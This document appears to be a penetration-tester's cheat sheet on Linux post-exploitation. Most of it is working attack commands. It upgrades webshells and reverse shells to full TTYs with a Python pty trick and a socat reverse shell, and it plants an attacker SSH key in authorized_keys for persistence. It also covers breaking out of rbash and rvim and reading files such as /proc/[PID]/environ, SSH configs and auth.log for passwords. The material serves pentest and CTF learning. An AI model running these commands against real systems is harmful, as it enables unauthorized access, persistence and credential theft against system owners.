Let’s say we have a webshell on the server (probably, we would be logged in as a apache user), however, if we have credentials of another user, and we want to login we need a tty shell. We can use a shell terminal trick that relies on Python to turn our non-terminal shell into a terminal shell.


Webshell like


If we try

echo password | su -c whoami

Probably will get

standard in must be a tty

The su command would work from a terminal, however, would not take in raw stuff via the shell’s Standard Input. We can use a shell terminal trick that relies on Python to turn our non-terminal shell into a terminal shell

(sleep 1; echo password) | python -c "import pty; pty.spawn(['/bin/su','-c','whoami']);"

The above has been referenced from SANS Sneaky Stealthy SU in (Web) Shells

Spawning a Fully Interactive TTYs Shell

Ronnie Flathers has already written a great blog on Upgrading simple shells to fully interactive TTYs Hence, almost everything is taken from that blog post and kept here for completion.

Many times, we will not get a fully interactive shell therefore it will/ have:

  • Difficult to use the text editors like vim

  • No tab-complete

  • No up arrow history

  • No job control


Socat can be used to pass full TTY’s over TCP connections.

On Kali-Machine (Attackers - Probably yours)

socat file:`tty`,raw,echo=0 tcp-listen:4444

On Victim (launch):

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:

If socat isn’t installed, download standalone binaries that can be downloaded from static binaries

Download the correct binary architecture of socat to a writable directory, chmod it, execute


Use the methods mentioned in Spawning a TTY Shell

Once bash is running in the PTY, background the shell with Ctrl-Z While the shell is in the background, examine the current terminal and STTY info so we can force the connected shell to match it

echo $TERM
stty -a
speed 38400 baud; rows 59; columns 264; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V;   discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc

The information needed is the TERM type (“xterm-256color”) and the size of the current TTY (“rows 38; columns 116”)

With the shell still backgrounded, set the current STTY to type raw and tell it to echo the input characters with the following command:

stty raw -echo

With a raw stty, input/ output will look weird and you won’t see the next commands, but as you type they are being processed.

Next foreground the shell with fg. It will re-open the reverse shell but formatting will be off. Finally, reinitialize the terminal with reset.

After the reset the shell should look normal again. The last step is to set the shell, terminal type and stty size to match our current Kali window (from the info gathered above)

$ export SHELL=bash
$ export TERM=xterm256-color
$ stty rows 38 columns 116

The end result is a fully interactive TTY with all the features we’d expect (tab-complete, history, job control, etc) all over a netcat connection


If we have some user shell or access, probably it would be a good idea to generate a new ssh private-public key pair using ssh-keygen

Generating public/private rsa key pair.
Enter file in which to save the key (/home/bitvijays/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/bitvijays/.ssh/id_rsa.
Your public key has been saved in /home/bitvijays/.ssh/
The key fingerprint is:
SHA256:JbdAhAIPl8qm/kCANJcpggeVoZqWnFRvVbxu2u9zc5U bitvijays@Kali-Home
The key's randomart image is:
+---[RSA 2048]----+
|o==*+. +=.       |
|=o**+ o. .       |
|=+...+  o +      |
|=.* .    * .     |
|oO      S .     .|
|+        o     E.|
|..      +       .|
| ..    . . . o . |
|  ..      ooo o  |

Copy/ Append the public part to /home/user/.ssh/authorized_keys

cat /home/bitvijays/.ssh/

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+tbCpnhU5qQm6typWI52FCin6NDYP0hmQFfag2kDwMDIS0j1ke/kuxfqfQKlbva9eo6IUaCrjIuAqbsZTsVjyFfjzo/hDKycR1M5/115Jx4q4v48a7BNnuUqi +qzUFjldFzfuTp6XM1n+Y1B6tQJJc9WruOFUNK2EX6pmOIkJ8QPTvMXYaxwol84MRb89V9vHCbfDrbWFhoA6hzeQVtI01ThMpQQqGv5LS+rI0GVlZnT8cUye0uiGZW7ek9DdcTEDtMUv1Y99zivk4FJmQWLzxplP5dUJ1NH5rm6YBH8CoQHLextWc36Ih18xsyzW8qK4Bfl4sOtESHT5/3PlkQHN bitvijays@Kali-Home" >> /home/user/.ssh/authorized_keys

Now, ssh to the box using that user.

ssh user@hostname -i id_rsa

Restricted Shell

Sometimes, after getting a shell, we figure out that we are in restricted shell. The below has been taken from Escaping Restricted Linux Shells, Escape from SHELLcatraz


It limits a user’s ability and only allows them to perform a subset of system commands. Typically, a combination of some or all of the following restrictions are imposed by a restricted shell:

  • Using the cd command to change directories.

  • Setting or un-setting certain environment variables (i.e. SHELL, PATH, etc…).

  • Specifying command names that contain slashes.

  • Specifying a filename containing a slash as an argument to the . built-in command.

  • Specifying a filename containing a slash as an argument to the -p option to the hash built-in command.

  • Importing function definitions from the shell environment at startup.

  • Parsing the value of SHELLOPTS from the shell environment at startup.

  • Redirecting output using the >, >|, ", >&, &>, and >> redirection operators.

  • Using the exec built-in to replace the shell with another command.

  • Adding or deleting built-in commands with the -f and -d options to the enable built-in.

  • Using the enable built-in command to enable disabled shell built-ins.

  • Specifying the -p option to the command built-in.

  • Turning off restricted mode with set +r or set +o restricted

Real shell implements restricted shells:

  • rbash

    bash -r
    bash: cd: restricted
  • rsh

  • rksh

Getting out of restricted shell


Find out information about the environment.

  • Run env to see exported environment variables

  • Run export -p to see the exported variables in the shell. This would tell which variables are read-only. Most likely the PATH ($PATH) and SHELL ($SHELL) variables are -rx, which means we can execute them, but not write to them. If they are writeable, we would be able to escape the restricted shell!

  • If the SHELL variable is writeable, you can simply set it to your shell of choice (i.e. sh, bash, ksh, etc…).

  • If the PATH is writeable, then you’ll be able to set it to any directory you want. We recommend setting it to one that has commands vulnerable to shell escapes.

  • Try basic Unix commands and see what’s allowed ls, pwd, cd, env, set, export, vi, cp, mv etc.

Quick Wins

  • If / is allowed in commands just run /bin/sh

  • If we can set PATH or SHELL variable

    export PATH=/bin:/usr/bin:/sbin:$PATH
    export SHELL=/bin/sh

    or if chsh command is present just change the shell to /bin/bash

    password: <password will be asked>
  • If we can copy files into existing PATH, copy

cp /bin/sh /current/directory; sh

Taking help of binaries

Some commands let us execute other system commands, often bypassing shell restrictions

echo "Your evil code" | tee
  • Invoke shell thru scripting language

  • Python

python -c 'import os; os.system("/bin/bash")
  • Perl

perl -e 'exec "/bin/sh";'

find . can be used to see the files in the current directory.

SSHing from outside

  • Use SSH on your machine to execute commands before the remote shell is loaded:

ssh username@IP -t "/bin/sh"
  • Start the remote shell without loading “rc” profile (where most of the limitations are often configured)

ssh username@IP -t "bash --noprofile"

-t      Force pseudo-terminal allocation.  This can be used to execute arbitrary screen-based programs on a remote machine, which can be very useful, e.g. when implementing menu services.  Multiple -t options force tty allocation, even if ssh has no local tty

Getting out of rvim

Main difference of rvim vs vim is that rvim does not allow escape to shell with previously described techniques and, on top of that, no shell commands at all. Taken from vimjail

  • To list all installed features it is possible to use ‘:version’ vim command.

VIM - Vi IMproved 8.0 (2016 Sep 12, compiled Nov 04 2017 04:17:46)
Included patches: 1-1257
Modified by
Compiled by
Huge version with GTK2 GUI.  Features included (+) or not (-):
+acl             +cindent         +cryptv          -ebcdic          +float           +job             +listcmds        +mouse_dec       +multi_byte      +persistent_undo  +rightleft       +syntax          +termresponse    +visual          +X11
+arabic          +clientserver    +cscope          +emacs_tags      +folding         +jumplist        +localmap        +mouse_gpm       +multi_lang      +postscript       +ruby            +tag_binary      +textobjects     +visualextra     -xfontset
+autocmd         +clipboard       +cursorbind      +eval            -footer          +keymap          +lua             -mouse_jsbterm   -mzscheme        +printer          +scrollbind      +tag_old_static  +timers          +viminfo         +xim
+balloon_eval    +cmdline_compl   +cursorshape     +ex_extra        +fork()          +lambda          +menu            +mouse_netterm   +netbeans_intg   +profile          +signs           -tag_any_white   +title           +vreplace        +xpm
+browse          +cmdline_hist    +dialog_con_gui  +extra_search    +gettext         +langmap         +mksession       +mouse_sgr       +num64           -python           +smartindent     +tcl             +toolbar         +wildignore      +xsmp_interact
++builtin_terms  +cmdline_info    +diff            +farsi           -hangul_input    +libcall         +modify_fname    -mouse_sysmouse  +packages        +python3          +startuptime     +termguicolors   +user_commands   +wildmenu        +xterm_clipboard
+byte_offset     +comments        +digraphs        +file_in_path    +iconv           +linebreak       +mouse           +mouse_urxvt     +path_extra      +quickfix         +statusline      +terminal        +vertsplit       +windows         -xterm_save
+channel         +conceal         +dnd             +find_in_path    +insert_expand   +lispindent      +mouseshape      +mouse_xterm     +perl            +reltime         - sun_workshop    +terminfo        +virtualedit     +writebackup
  system vimrc file: "$VIM/vimrc"
  • Examining installed features and figure out which interpreter is installed.

  • If python/ python3 has been installed

:python3 import pty;pty.spawn("/bin/bash")

Gather information from files

In case of LFI or unprivileged shell, gathering information could be very useful. Mostly taken from g0tmi1k Linux Privilege Escalation Blog

Operating System

cat /etc/issue
cat /etc/*-release
  cat /etc/lsb-release      # Debian based
  cat /etc/redhat-release   # Redhat based

/Proc Variables

/proc/sched_debug      This is usually enabled on newer systems, such as RHEL 6.  It provides information as to what process is running on which cpu.  This can be handy to get a list of processes and their PID number.
/proc/mounts           Provides a list of mounted file systems.  Can be used to determine where other interesting files might be located
/proc/net/arp          Shows the ARP table.  This is one way to find out IP addresses for other internal servers.
/proc/net/route        Shows the routing table information.
/proc/net/udp          Provides a list of active connections.  Can be used to determine what ports are listening on the server
/proc/net/fib_trie     This is used for route caching.  This can also be used to determine local IPs, as well as gain a better understanding of the target's networking structure
/proc/version          Shows the kernel version.  This can be used to help determine the OS running and the last time it's been fully updated.

Each process also has its own set of attributes. If we have the PID number and access to that process, then we can obtain some useful information about it, such as its environmental variables and any command line options that were run. Sometimes these include passwords. Linux also has a special proc directory called self which can be used to query information about the current process without having to know it’s PID.

/proc/[PID]/cmdline    Lists everything that was used to invoke the process. This sometimes contains useful paths to configuration files as well as usernames and passwords.
/proc/[PID]/environ    Lists all the environment variables that were set when the process was invoked.  This also sometimes contains useful paths to configuration files as well as usernames and passwords.
/proc/[PID]/cwd        Points to the current working directory of the process.  This may be useful if you don't know the absolute path to a configuration file.
/proc/[PID]/fd/[#]     Provides access to the file descriptors being used.  In some cases this can be used to read files that are opened by a process.

The information about Proc variables has been taken from Directory Traversal, File Inclusion, and The Proc File System

Environment Variables

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout

Configuration Files

  • Apache Web Server : Helps in figuring out the DocumentRoot where does your webserver files are?


User History


Private SSH Keys / SSH Configuration

~/.ssh/authorized_keys : specifies the SSH keys that can be used for logging into the user account
/etc/ssh/ssh_config  : OpenSSH SSH client configuration files
/etc/ssh/sshd_config : OpenSSH SSH daemon configuration file

Logs Files

Anything helpful in the logs file? Imagine, user running a command and that being logged in auth.log?

cat /var/log/auth.log

Usually, any log files present in /var/log directory might be important.

auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log,, mail.log, mail.warn, messages, syslog, udev, wtmp